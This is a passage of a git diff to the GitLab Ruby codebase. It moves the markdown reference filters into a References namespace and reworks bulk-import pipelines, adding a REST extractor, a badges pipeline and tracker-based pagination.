+ class UserReferenceFilter < ReferenceFilter
+ self.reference_type = :user
+
+ # Public: Find `@user` user references in text
+ #
+ # UserReferenceFilter.references_in(text) do |match, username|
+ # "<a href=...>@#{user}</a>"
+ # end
+ #
+ # text - String text to search.
+ #
+ # Yields the String match, and the String user name.
+ #
+ # Returns a String replaced with the return of the block.
+ def self.references_in(text)
+ text.gsub(User.reference_pattern) do |match|
+ yield match, $~[:user]
+ end
+ end
+
+ def call
+ return doc if project.nil? && group.nil? && !skip_project_check?
+
+ ref_pattern = User.reference_pattern
+ ref_pattern_start = /\A#{ref_pattern}\z/
+
+ nodes.each_with_index do |node, index|
+ if text_node?(node)
+ replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
+ user_link_filter(content)
+ end
+ elsif element_node?(node)
+ yield_valid_link(node) do |link, inner_html|
+ if link =~ ref_pattern_start
+ replace_link_node_with_href(node, index, link) do
+ user_link_filter(link, link_content: inner_html)
+ end
+ end
+ end
+ end
+ end
+
+ doc
+ end
+
+ # Replace `@user` user references in text with links to the referenced
+ # user's profile page.
+ #
+ # text - String text to replace references in.
+ # link_content - Original content of the link being replaced.
+ #
+ # Returns a String with `@user` references replaced with links. All links
+ # have `gfm` and `gfm-project_member` class names attached for styling.
+ def user_link_filter(text, link_content: nil)
+ self.class.references_in(text) do |match, username|
+ if username == 'all' && !skip_project_check?
+ link_to_all(link_content: link_content)
+ else
+ cached_call(:banzai_url_for_object, match, path: [User, username.downcase]) do
+ if namespace = namespaces[username.downcase]
+ link_to_namespace(namespace, link_content: link_content) || match
+ else
+ match
+ end
+ end
+ end
+ end
+ end
+
+ # Returns a Hash containing all Namespace objects for the username
+ # references in the current document.
+ #
+ # The keys of this Hash are the namespace paths, the values the
+ # corresponding Namespace objects.
+ def namespaces
+ @namespaces ||= Namespace.eager_load(:owner, :route)
+ .where_full_path_in(usernames)
+ .index_by(&:full_path)
+ .transform_keys(&:downcase)
+ end
+
+ # Returns all usernames referenced in the current document.
+ def usernames
+ refs = Set.new
+
+ nodes.each do |node|
+ node.to_html.scan(User.reference_pattern) do
+ refs << $~[:user]
+ end
+ end
+
+ refs.to_a
+ end
+
+ private
+
+ def urls
+ Gitlab::Routing.url_helpers
+ end
+
+ def link_class
+ [reference_class(:project_member, tooltip: false), "js-user-link"].join(" ")
+ end
+
+ def link_to_all(link_content: nil)
+ author = context[:author]
+
+ if author && !team_member?(author)
+ link_content
+ else
+ parent_url(link_content, author)
+ end
+ end
+
+ def link_to_namespace(namespace, link_content: nil)
+ if namespace.is_a?(Group)
+ link_to_group(namespace.full_path, namespace, link_content: link_content)
+ else
+ link_to_user(namespace.path, namespace, link_content: link_content)
+ end
+ end
+
+ def link_to_group(group, namespace, link_content: nil)
+ url = urls.group_url(group, only_path: context[:only_path])
+ data = data_attribute(group: namespace.id)
+ content = link_content || Group.reference_prefix + group
+
+ link_tag(url, data, content, namespace.full_name)
+ end
+
+ def link_to_user(user, namespace, link_content: nil)
+ url = urls.user_url(user, only_path: context[:only_path])
+ data = data_attribute(user: namespace.owner_id)
+ content = link_content || User.reference_prefix + user
+
+ link_tag(url, data, content, namespace.owner_name)
+ end
+
+ def link_tag(url, data, link_content, title)
+ %(<a href="#{url}" #{data} class="#{link_class}" title="#{escape_once(title)}">#{link_content}</a>)
+ end
+
+ def parent
+ context[:project] || context[:group]
+ end
+
+ def parent_group?
+ parent.is_a?(Group)
+ end
+
+ def team_member?(user)
+ if parent_group?
+ parent.member?(user)
+ else
+ parent.team.member?(user)
+ end
+ end
+
+ def parent_url(link_content, author)
+ if parent_group?
+ url = urls.group_url(parent, only_path: context[:only_path])
+ data = data_attribute(group: group.id, author: author.try(:id))
+ else
+ url = urls.project_url(parent, only_path: context[:only_path])
+ data = data_attribute(project: project.id, author: author.try(:id))
+ end
+
+ content = link_content || User.reference_prefix + 'all'
+ link_tag(url, data, content, 'All Project and Group Members')
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/vulnerability_reference_filter.rb b/lib/banzai/filter/references/vulnerability_reference_filter.rb
new file mode 100644
index 00000000000..e5f2408eda4
--- /dev/null
+++ b/lib/banzai/filter/references/vulnerability_reference_filter.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # The actual filter is implemented in the EE mixin
+ class VulnerabilityReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :vulnerability
+
+ def self.object_class
+ Vulnerability
+ end
+
+ private
+
+ def project
+ context[:project]
+ end
+ end
+ end
+ end
+end
+
+Banzai::Filter::References::VulnerabilityReferenceFilter.prepend_if_ee('EE::Banzai::Filter::References::VulnerabilityReferenceFilter')
diff --git a/lib/banzai/filter/repository_link_filter.rb b/lib/banzai/filter/repository_link_filter.rb
index 66b9aac3e7e..04bbcabd93f 100644
--- a/lib/banzai/filter/repository_link_filter.rb
+++ b/lib/banzai/filter/repository_link_filter.rb
@@ -60,7 +60,7 @@ module Banzai
def get_uri_types(paths)
return {} if paths.empty?
- uri_types = Hash[paths.collect { |name| [name, nil] }]
+ uri_types = paths.to_h { |name| [name, nil] }
get_blob_types(paths).each do |name, type|
if type == :blob
diff --git a/lib/banzai/filter/snippet_reference_filter.rb b/lib/banzai/filter/snippet_reference_filter.rb
deleted file mode 100644
index f4b6edb6174..00000000000
--- a/lib/banzai/filter/snippet_reference_filter.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces snippet references with links. References to
- # snippets that do not exist are ignored.
- #
- # This filter supports cross-project references.
- class SnippetReferenceFilter < AbstractReferenceFilter
- self.reference_type = :snippet
-
- def self.object_class
- Snippet
- end
-
- def find_object(project, id)
- return unless project.is_a?(Project)
-
- project.snippets.find_by(id: id)
- end
-
- def url_for_object(snippet, project)
- h = Gitlab::Routing.url_helpers
- h.project_snippet_url(project, snippet,
- only_path: context[:only_path])
- end
- end
- end
-end
diff --git a/lib/banzai/filter/spaced_link_filter.rb b/lib/banzai/filter/spaced_link_filter.rb
index f52ffe117d9..ca26e6d1581 100644
--- a/lib/banzai/filter/spaced_link_filter.rb
+++ b/lib/banzai/filter/spaced_link_filter.rb
@@ -42,7 +42,7 @@ module Banzai
TEXT_QUERY = %Q(descendant-or-self::text()[
not(#{IGNORE_PARENTS.map { |p| "ancestor::#{p}" }.join(' or ')})
and contains(., ']\(')
- ]).freeze
+ ])
def call
doc.xpath(TEXT_QUERY).each do |node|
diff --git a/lib/banzai/filter/suggestion_filter.rb b/lib/banzai/filter/suggestion_filter.rb
index ae093580001..56a14ec0737 100644
--- a/lib/banzai/filter/suggestion_filter.rb
+++ b/lib/banzai/filter/suggestion_filter.rb
@@ -10,7 +10,7 @@ module Banzai
def call
return doc unless suggestions_filter_enabled?
- doc.search('pre.suggestion > code').each do |node|
+ doc.search('pre.language-suggestion > code').each do |node|
node.add_class(TAG_CLASS)
end
diff --git a/lib/banzai/filter/syntax_highlight_filter.rb b/lib/banzai/filter/syntax_highlight_filter.rb
index 1d3bbe43344..731a2bb4c77 100644
--- a/lib/banzai/filter/syntax_highlight_filter.rb
+++ b/lib/banzai/filter/syntax_highlight_filter.rb
@@ -37,7 +37,7 @@ module Banzai
begin
code = Rouge::Formatters::HTMLGitlab.format(lex(lexer, node.text), tag: language)
- css_classes << " #{language}" if language
+ css_classes << " language-#{language}" if language
rescue
# Gracefully handle syntax highlighter bugs/errors to ensure users can
# still access an issue/comment/etc. First, retry with the plain text
diff --git a/lib/banzai/filter/user_reference_filter.rb b/lib/banzai/filter/user_reference_filter.rb
deleted file mode 100644
index 262385524f4..00000000000
--- a/lib/banzai/filter/user_reference_filter.rb
+++ /dev/null
@@ -1,180 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces user or group references with links.
- #
- # A special `@all` reference is also supported.
- class UserReferenceFilter < ReferenceFilter
- self.reference_type = :user
-
- # Public: Find `@user` user references in text
- #
- # UserReferenceFilter.references_in(text) do |match, username|
- # "<a href=...>@#{user}</a>"
- # end
- #
- # text - String text to search.
- #
- # Yields the String match, and the String user name.
- #
- # Returns a String replaced with the return of the block.
- def self.references_in(text)
- text.gsub(User.reference_pattern) do |match|
- yield match, $~[:user]
- end
- end
-
- def call
- return doc if project.nil? && group.nil? && !skip_project_check?
-
- ref_pattern = User.reference_pattern
- ref_pattern_start = /\A#{ref_pattern}\z/
-
- nodes.each_with_index do |node, index|
- if text_node?(node)
- replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
- user_link_filter(content)
- end
- elsif element_node?(node)
- yield_valid_link(node) do |link, inner_html|
- if link =~ ref_pattern_start
- replace_link_node_with_href(node, index, link) do
- user_link_filter(link, link_content: inner_html)
- end
- end
- end
- end
- end
-
- doc
- end
-
- # Replace `@user` user references in text with links to the referenced
- # user's profile page.
- #
- # text - String text to replace references in.
- # link_content - Original content of the link being replaced.
- #
- # Returns a String with `@user` references replaced with links. All links
- # have `gfm` and `gfm-project_member` class names attached for styling.
- def user_link_filter(text, link_content: nil)
- self.class.references_in(text) do |match, username|
- if username == 'all' && !skip_project_check?
- link_to_all(link_content: link_content)
- else
- cached_call(:banzai_url_for_object, match, path: [User, username.downcase]) do
- if namespace = namespaces[username.downcase]
- link_to_namespace(namespace, link_content: link_content) || match
- else
- match
- end
- end
- end
- end
- end
-
- # Returns a Hash containing all Namespace objects for the username
- # references in the current document.
- #
- # The keys of this Hash are the namespace paths, the values the
- # corresponding Namespace objects.
- def namespaces
- @namespaces ||= Namespace.eager_load(:owner, :route)
- .where_full_path_in(usernames)
- .index_by(&:full_path)
- .transform_keys(&:downcase)
- end
-
- # Returns all usernames referenced in the current document.
- def usernames
- refs = Set.new
-
- nodes.each do |node|
- node.to_html.scan(User.reference_pattern) do
- refs << $~[:user]
- end
- end
-
- refs.to_a
- end
-
- private
-
- def urls
- Gitlab::Routing.url_helpers
- end
-
- def link_class
- [reference_class(:project_member, tooltip: false), "js-user-link"].join(" ")
- end
-
- def link_to_all(link_content: nil)
- author = context[:author]
-
- if author && !team_member?(author)
- link_content
- else
- parent_url(link_content, author)
- end
- end
-
- def link_to_namespace(namespace, link_content: nil)
- if namespace.is_a?(Group)
- link_to_group(namespace.full_path, namespace, link_content: link_content)
- else
- link_to_user(namespace.path, namespace, link_content: link_content)
- end
- end
-
- def link_to_group(group, namespace, link_content: nil)
- url = urls.group_url(group, only_path: context[:only_path])
- data = data_attribute(group: namespace.id)
- content = link_content || Group.reference_prefix + group
-
- link_tag(url, data, content, namespace.full_name)
- end
-
- def link_to_user(user, namespace, link_content: nil)
- url = urls.user_url(user, only_path: context[:only_path])
- data = data_attribute(user: namespace.owner_id)
- content = link_content || User.reference_prefix + user
-
- link_tag(url, data, content, namespace.owner_name)
- end
-
- def link_tag(url, data, link_content, title)
- %(<a href="#{url}" #{data} class="#{link_class}" title="#{escape_once(title)}">#{link_content}</a>)
- end
-
- def parent
- context[:project] || context[:group]
- end
-
- def parent_group?
- parent.is_a?(Group)
- end
-
- def team_member?(user)
- if parent_group?
- parent.member?(user)
- else
- parent.team.member?(user)
- end
- end
-
- def parent_url(link_content, author)
- if parent_group?
- url = urls.group_url(parent, only_path: context[:only_path])
- data = data_attribute(group: group.id, author: author.try(:id))
- else
- url = urls.project_url(parent, only_path: context[:only_path])
- data = data_attribute(project: project.id, author: author.try(:id))
- end
-
- content = link_content || User.reference_prefix + 'all'
- link_tag(url, data, content, 'All Project and Group Members')
- end
- end
- end
-end
diff --git a/lib/banzai/filter/vulnerability_reference_filter.rb b/lib/banzai/filter/vulnerability_reference_filter.rb
deleted file mode 100644
index a59e9836d69..00000000000
--- a/lib/banzai/filter/vulnerability_reference_filter.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # The actual filter is implemented in the EE mixin
- class VulnerabilityReferenceFilter < IssuableReferenceFilter
- self.reference_type = :vulnerability
-
- def self.object_class
- Vulnerability
- end
-
- private
-
- def project
- context[:project]
- end
- end
- end
-end
-
-Banzai::Filter::VulnerabilityReferenceFilter.prepend_if_ee('EE::Banzai::Filter::VulnerabilityReferenceFilter')
diff --git a/lib/banzai/filter/wiki_link_filter/rewriter.rb b/lib/banzai/filter/wiki_link_filter/rewriter.rb
index f4cc8beeb52..b4c2e7efae3 100644
--- a/lib/banzai/filter/wiki_link_filter/rewriter.rb
+++ b/lib/banzai/filter/wiki_link_filter/rewriter.rb
@@ -6,7 +6,7 @@ module Banzai
class Rewriter
def initialize(link_string, wiki:, slug:)
@uri = Addressable::URI.parse(link_string)
- @wiki_base_path = wiki && wiki.wiki_base_path
+ @wiki_base_path = wiki&.wiki_base_path
@slug = slug
end
@@ -41,7 +41,8 @@ module Banzai
# Any link _not_ of the form `http://example.com/`
def apply_relative_link_rules!
if @uri.relative? && @uri.path.present?
- link = ::File.join(@wiki_base_path, @uri.path)
+ link = @uri.path
+ link = ::File.join(@wiki_base_path, link) unless link.starts_with?(@wiki_base_path)
link = "#{link}##{@uri.fragment}" if @uri.fragment
@uri = Addressable::URI.parse(link)
end
diff --git a/lib/banzai/pipeline/gfm_pipeline.rb b/lib/banzai/pipeline/gfm_pipeline.rb
index e5ec0a0a006..028e3c44dc3 100644
--- a/lib/banzai/pipeline/gfm_pipeline.rb
+++ b/lib/banzai/pipeline/gfm_pipeline.rb
@@ -51,19 +51,19 @@ module Banzai
def self.reference_filters
[
- Filter::UserReferenceFilter,
- Filter::ProjectReferenceFilter,
- Filter::DesignReferenceFilter,
- Filter::IssueReferenceFilter,
- Filter::ExternalIssueReferenceFilter,
- Filter::MergeRequestReferenceFilter,
- Filter::SnippetReferenceFilter,
- Filter::CommitRangeReferenceFilter,
- Filter::CommitReferenceFilter,
- Filter::LabelReferenceFilter,
- Filter::MilestoneReferenceFilter,
- Filter::AlertReferenceFilter,
- Filter::FeatureFlagReferenceFilter
+ Filter::References::UserReferenceFilter,
+ Filter::References::ProjectReferenceFilter,
+ Filter::References::DesignReferenceFilter,
+ Filter::References::IssueReferenceFilter,
+ Filter::References::ExternalIssueReferenceFilter,
+ Filter::References::MergeRequestReferenceFilter,
+ Filter::References::SnippetReferenceFilter,
+ Filter::References::CommitRangeReferenceFilter,
+ Filter::References::CommitReferenceFilter,
+ Filter::References::LabelReferenceFilter,
+ Filter::References::MilestoneReferenceFilter,
+ Filter::References::AlertReferenceFilter,
+ Filter::References::FeatureFlagReferenceFilter
]
end
diff --git a/lib/banzai/pipeline/label_pipeline.rb b/lib/banzai/pipeline/label_pipeline.rb
index 725cccc4b2b..ccfda2052e6 100644
--- a/lib/banzai/pipeline/label_pipeline.rb
+++ b/lib/banzai/pipeline/label_pipeline.rb
@@ -6,7 +6,7 @@ module Banzai
def self.filters
@filters ||= FilterArray[
Filter::SanitizationFilter,
- Filter::LabelReferenceFilter
+ Filter::References::LabelReferenceFilter
]
end
end
diff --git a/lib/banzai/pipeline/single_line_pipeline.rb b/lib/banzai/pipeline/single_line_pipeline.rb
index 4bf98099662..65a5e28b704 100644
--- a/lib/banzai/pipeline/single_line_pipeline.rb
+++ b/lib/banzai/pipeline/single_line_pipeline.rb
@@ -17,15 +17,15 @@ module Banzai
def self.reference_filters
[
- Filter::UserReferenceFilter,
- Filter::IssueReferenceFilter,
- Filter::ExternalIssueReferenceFilter,
- Filter::MergeRequestReferenceFilter,
- Filter::SnippetReferenceFilter,
- Filter::CommitRangeReferenceFilter,
- Filter::CommitReferenceFilter,
- Filter::AlertReferenceFilter,
- Filter::FeatureFlagReferenceFilter
+ Filter::References::UserReferenceFilter,
+ Filter::References::IssueReferenceFilter,
+ Filter::References::ExternalIssueReferenceFilter,
+ Filter::References::MergeRequestReferenceFilter,
+ Filter::References::SnippetReferenceFilter,
+ Filter::References::CommitRangeReferenceFilter,
+ Filter::References::CommitReferenceFilter,
+ Filter::References::AlertReferenceFilter,
+ Filter::References::FeatureFlagReferenceFilter
]
end
diff --git a/lib/banzai/pipeline/wiki_pipeline.rb b/lib/banzai/pipeline/wiki_pipeline.rb
index 97a03895ff3..caba9570ab9 100644
--- a/lib/banzai/pipeline/wiki_pipeline.rb
+++ b/lib/banzai/pipeline/wiki_pipeline.rb
@@ -5,7 +5,7 @@ module Banzai
class WikiPipeline < FullPipeline
def self.filters
@filters ||= begin
- super.insert_after(Filter::TableOfContentsFilter, Filter::GollumTagsFilter)
+ super.insert_before(Filter::ImageLazyLoadFilter, Filter::GollumTagsFilter)
.insert_before(Filter::TaskListFilter, Filter::WikiLinkFilter)
end
end
diff --git a/lib/bulk_imports/clients/http.rb b/lib/bulk_imports/clients/http.rb
index 2e81863e53a..ef99122cdfd 100644
--- a/lib/bulk_imports/clients/http.rb
+++ b/lib/bulk_imports/clients/http.rb
@@ -3,9 +3,9 @@
module BulkImports
module Clients
class Http
- API_VERSION = 'v4'.freeze
- DEFAULT_PAGE = 1.freeze
- DEFAULT_PER_PAGE = 30.freeze
+ API_VERSION = 'v4'
+ DEFAULT_PAGE = 1
+ DEFAULT_PER_PAGE = 30
ConnectionError = Class.new(StandardError)
@@ -23,7 +23,7 @@ module BulkImports
resource_url(resource),
headers: request_headers,
follow_redirects: false,
- query: query.merge(request_query)
+ query: query.reverse_merge(request_query)
)
end
end
diff --git a/lib/bulk_imports/common/extractors/rest_extractor.rb b/lib/bulk_imports/common/extractors/rest_extractor.rb
new file mode 100644
index 00000000000..b18e27fd475
--- /dev/null
+++ b/lib/bulk_imports/common/extractors/rest_extractor.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Common
+ module Extractors
+ class RestExtractor
+ def initialize(options = {})
+ @query = options[:query]
+ end
+
+ def extract(context)
+ client = http_client(context.configuration)
+ params = query.to_h(context)
+ response = client.get(params[:resource], params[:query])
+
+ BulkImports::Pipeline::ExtractedData.new(
+ data: response.parsed_response,
+ page_info: page_info(response.headers)
+ )
+ end
+
+ private
+
+ attr_reader :query
+
+ def http_client(configuration)
+ @http_client ||= BulkImports::Clients::Http.new(
+ uri: configuration.url,
+ token: configuration.access_token,
+ per_page: 100
+ )
+ end
+
+ def page_info(headers)
+ next_page = headers['x-next-page']
+
+ {
+ 'has_next_page' => next_page.present?,
+ 'next_page' => next_page
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/common/transformers/user_reference_transformer.rb b/lib/bulk_imports/common/transformers/user_reference_transformer.rb
index ca077b4ef43..c330ea59113 100644
--- a/lib/bulk_imports/common/transformers/user_reference_transformer.rb
+++ b/lib/bulk_imports/common/transformers/user_reference_transformer.rb
@@ -12,7 +12,7 @@ module BulkImports
DEFAULT_REFERENCE = 'user'
def initialize(options = {})
- @reference = options[:reference] || DEFAULT_REFERENCE
+ @reference = options[:reference].to_s.presence || DEFAULT_REFERENCE
@suffixed_reference = "#{@reference}_id"
end
diff --git a/lib/bulk_imports/groups/graphql/get_labels_query.rb b/lib/bulk_imports/groups/graphql/get_labels_query.rb
index 23efbc33581..f957cf0be52 100644
--- a/lib/bulk_imports/groups/graphql/get_labels_query.rb
+++ b/lib/bulk_imports/groups/graphql/get_labels_query.rb
@@ -8,11 +8,11 @@ module BulkImports
def to_s
<<-'GRAPHQL'
- query ($full_path: ID!, $cursor: String) {
+ query ($full_path: ID!, $cursor: String, $per_page: Int) {
group(fullPath: $full_path) {
- labels(first: 100, after: $cursor, onlyGroupLabels: true) {
+ labels(first: $per_page, after: $cursor, onlyGroupLabels: true) {
page_info: pageInfo {
- end_cursor: endCursor
+ next_page: endCursor
has_next_page: hasNextPage
}
nodes {
@@ -31,7 +31,8 @@ module BulkImports
def variables(context)
{
full_path: context.entity.source_full_path,
- cursor: context.entity.next_page_for(:labels)
+ cursor: context.tracker.next_page,
+ per_page: ::BulkImports::Tracker::DEFAULT_PAGE_SIZE
}
end
diff --git a/lib/bulk_imports/groups/graphql/get_members_query.rb b/lib/bulk_imports/groups/graphql/get_members_query.rb
index e3a78124a47..e44d3c5aa9b 100644
--- a/lib/bulk_imports/groups/graphql/get_members_query.rb
+++ b/lib/bulk_imports/groups/graphql/get_members_query.rb
@@ -7,11 +7,11 @@ module BulkImports
extend self
def to_s
<<-'GRAPHQL'
- query($full_path: ID!, $cursor: String) {
+ query($full_path: ID!, $cursor: String, $per_page: Int) {
group(fullPath: $full_path) {
- group_members: groupMembers(relations: DIRECT, first: 100, after: $cursor) {
+ group_members: groupMembers(relations: DIRECT, first: $per_page, after: $cursor) {
page_info: pageInfo {
- end_cursor: endCursor
+ next_page: endCursor
has_next_page: hasNextPage
}
nodes {
@@ -34,7 +34,8 @@ module BulkImports
def variables(context)
{
full_path: context.entity.source_full_path,
- cursor: context.entity.next_page_for(:group_members)
+ cursor: context.tracker.next_page,
+ per_page: ::BulkImports::Tracker::DEFAULT_PAGE_SIZE
}
end
diff --git a/lib/bulk_imports/groups/graphql/get_milestones_query.rb b/lib/bulk_imports/groups/graphql/get_milestones_query.rb
index 2ade87e6fa0..5dd5b31cf0e 100644
--- a/lib/bulk_imports/groups/graphql/get_milestones_query.rb
+++ b/lib/bulk_imports/groups/graphql/get_milestones_query.rb
@@ -8,14 +8,15 @@ module BulkImports
def to_s
<<-'GRAPHQL'
- query ($full_path: ID!, $cursor: String) {
+ query ($full_path: ID!, $cursor: String, $per_page: Int) {
group(fullPath: $full_path) {
- milestones(first: 100, after: $cursor, includeDescendants: false) {
+ milestones(first: $per_page, after: $cursor, includeDescendants: false) {
page_info: pageInfo {
- end_cursor: endCursor
+ next_page: endCursor
has_next_page: hasNextPage
}
nodes {
+ iid
title
description
state
@@ -33,7 +34,8 @@ module BulkImports
def variables(context)
{
full_path: context.entity.source_full_path,
- cursor: context.entity.next_page_for(:milestones)
+ cursor: context.tracker.next_page,
+ per_page: ::BulkImports::Tracker::DEFAULT_PAGE_SIZE
}
end
diff --git a/lib/bulk_imports/groups/pipelines/badges_pipeline.rb b/lib/bulk_imports/groups/pipelines/badges_pipeline.rb
new file mode 100644
index 00000000000..8569ff3f77a
--- /dev/null
+++ b/lib/bulk_imports/groups/pipelines/badges_pipeline.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Groups
+ module Pipelines
+ class BadgesPipeline
+ include Pipeline
+
+ extractor BulkImports::Common::Extractors::RestExtractor,
+ query: BulkImports::Groups::Rest::GetBadgesQuery
+
+ transformer Common::Transformers::ProhibitedAttributesTransformer
+
+ def transform(_, data)
+ return if data.blank?
+
+ {
+ name: data['name'],
+ link_url: data['link_url'],
+ image_url: data['image_url']
+ }
+ end
+
+ def load(context, data)
+ return if data.blank?
+
+ context.group.badges.create!(data)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/pipelines/entity_finisher.rb b/lib/bulk_imports/groups/pipelines/entity_finisher.rb
new file mode 100644
index 00000000000..1d237bc0f7f
--- /dev/null
+++ b/lib/bulk_imports/groups/pipelines/entity_finisher.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Groups
+ module Pipelines
+ class EntityFinisher
+ def initialize(context)
+ @context = context
+ end
+
+ def run
+ return if context.entity.finished?
+
+ context.entity.finish!
+
+ logger.info(
+ bulk_import_id: context.bulk_import.id,
+ bulk_import_entity_id: context.entity.id,
+ bulk_import_entity_type: context.entity.source_type,
+ pipeline_class: self.class.name,
+ message: 'Entity finished'
+ )
+ end
+
+ private
+
+ attr_reader :context
+
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/pipelines/labels_pipeline.rb b/lib/bulk_imports/groups/pipelines/labels_pipeline.rb
index 9f8b8682751..0dc4a968b84 100644
--- a/lib/bulk_imports/groups/pipelines/labels_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/labels_pipeline.rb
@@ -14,18 +14,6 @@ module BulkImports
def load(context, data)
Labels::CreateService.new(data).execute(group: context.group)
end
-
- def after_run(extracted_data)
- context.entity.update_tracker_for(
- relation: :labels,
- has_next_page: extracted_data.has_next_page?,
- next_page: extracted_data.next_page
- )
-
- if extracted_data.has_next_page?
- run
- end
- end
end
end
end
diff --git a/lib/bulk_imports/groups/pipelines/members_pipeline.rb b/lib/bulk_imports/groups/pipelines/members_pipeline.rb
index 32fc931e8c3..5e4293d2c06 100644
--- a/lib/bulk_imports/groups/pipelines/members_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/members_pipeline.rb
@@ -17,18 +17,6 @@ module BulkImports
context.group.members.create!(data)
end
-
- def after_run(extracted_data)
- context.entity.update_tracker_for(
- relation: :group_members,
- has_next_page: extracted_data.has_next_page?,
- next_page: extracted_data.next_page
- )
-
- if extracted_data.has_next_page?
- run
- end
- end
end
end
end
diff --git a/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb b/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb
index 8497162e0e7..9b2be30735c 100644
--- a/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb
@@ -19,18 +19,6 @@ module BulkImports
context.group.milestones.create!(data)
end
- def after_run(extracted_data)
- context.entity.update_tracker_for(
- relation: :milestones,
- has_next_page: extracted_data.has_next_page?,
- next_page: extracted_data.next_page
- )
-
- if extracted_data.has_next_page?
- run
- end
- end
-
private
def authorized?
diff --git a/lib/bulk_imports/groups/rest/get_badges_query.rb b/lib/bulk_imports/groups/rest/get_badges_query.rb
new file mode 100644
index 00000000000..79ffdd9a1f6
--- /dev/null
+++ b/lib/bulk_imports/groups/rest/get_badges_query.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Groups
+ module Rest
+ module GetBadgesQuery
+ extend self
+
+ def to_h(context)
+ encoded_full_path = ERB::Util.url_encode(context.entity.source_full_path)
+
+ {
+ resource: ['groups', encoded_full_path, 'badges'].join('/'),
+ query: {
+ page: context.tracker.next_page
+ }
+ }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/importers/group_importer.rb b/lib/bulk_imports/importers/group_importer.rb
deleted file mode 100644
index f016b552fd4..00000000000
--- a/lib/bulk_imports/importers/group_importer.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-module BulkImports
- module Importers
- class GroupImporter
- def initialize(entity)
- @entity = entity
- end
-
- def execute
- context = BulkImports::Pipeline::Context.new(entity)
-
- pipelines.each { |pipeline| pipeline.new(context).run }
-
- entity.finish!
- end
-
- private
-
- attr_reader :entity
-
- def pipelines
- [
- BulkImports::Groups::Pipelines::GroupPipeline,
- BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline,
- BulkImports::Groups::Pipelines::MembersPipeline,
- BulkImports::Groups::Pipelines::LabelsPipeline,
- BulkImports::Groups::Pipelines::MilestonesPipeline
- ]
- end
- end
- end
-end
-
-BulkImports::Importers::GroupImporter.prepend_if_ee('EE::BulkImports::Importers::GroupImporter')
diff --git a/lib/bulk_imports/pipeline.rb b/lib/bulk_imports/pipeline.rb
index 14445162737..df4f020d6b2 100644
--- a/lib/bulk_imports/pipeline.rb
+++ b/lib/bulk_imports/pipeline.rb
@@ -15,6 +15,10 @@ module BulkImports
@context = context
end
+ def tracker
+ @tracker ||= context.tracker
+ end
+
included do
private
diff --git a/lib/bulk_imports/pipeline/context.rb b/lib/bulk_imports/pipeline/context.rb
index dd121b2dbed..3c69c729f36 100644
--- a/lib/bulk_imports/pipeline/context.rb
+++ b/lib/bulk_imports/pipeline/context.rb
@@ -3,25 +3,33 @@
module BulkImports
module Pipeline
class Context
- attr_reader :entity, :bulk_import
attr_accessor :extra
- def initialize(entity, extra = {})
- @entity = entity
- @bulk_import = entity.bulk_import
+ attr_reader :tracker
+
+ def initialize(tracker, extra = {})
+ @tracker = tracker
@extra = extra
end
+ def entity
+ @entity ||= tracker.entity
+ end
+
def group
- entity.group
+ @group ||= entity.group
+ end
+
+ def bulk_import
+ @bulk_import ||= entity.bulk_import
end
def current_user
- bulk_import.user
+ @current_user ||= bulk_import.user
end
def configuration
- bulk_import.configuration
+ @configuration ||= bulk_import.configuration
end
end
end
diff --git a/lib/bulk_imports/pipeline/extracted_data.rb b/lib/bulk_imports/pipeline/extracted_data.rb
index 685a91a4afe..c9e54b61dd3 100644
--- a/lib/bulk_imports/pipeline/extracted_data.rb
+++ b/lib/bulk_imports/pipeline/extracted_data.rb
@@ -11,11 +11,14 @@ module BulkImports
end
def has_next_page?
- @page_info['has_next_page']
+ Gitlab::Utils.to_boolean(
+ @page_info&.dig('has_next_page'),
+ default: false
+ )
end
def next_page
- @page_info['end_cursor']
+ @page_info&.dig('next_page')
end
def each(&block)
diff --git a/lib/bulk_imports/pipeline/runner.rb b/lib/bulk_imports/pipeline/runner.rb
index e3535e585cc..b756fba3bee 100644
--- a/lib/bulk_imports/pipeline/runner.rb
+++ b/lib/bulk_imports/pipeline/runner.rb
@@ -14,19 +14,24 @@ module BulkImports
extracted_data = extracted_data_from
- extracted_data&.each do |entry|
- transformers.each do |transformer|
- entry = run_pipeline_step(:transformer, transformer.class.name) do
- transformer.transform(context, entry)
+ if extracted_data
+ extracted_data.each do |entry|
+ transformers.each do |transformer|
+ entry = run_pipeline_step(:transformer, transformer.class.name) do
+ transformer.transform(context, entry)
+ end
end
- end
- run_pipeline_step(:loader, loader.class.name) do
- loader.load(context, entry)
+ run_pipeline_step(:loader, loader.class.name) do
+ loader.load(context, entry)
+ end
end
- end
- if respond_to?(:after_run)
+ tracker.update!(
+ has_next_page: extracted_data.has_next_page?,
+ next_page: extracted_data.next_page
+ )
+
run_pipeline_step(:after_run) do
after_run(extracted_data)
end
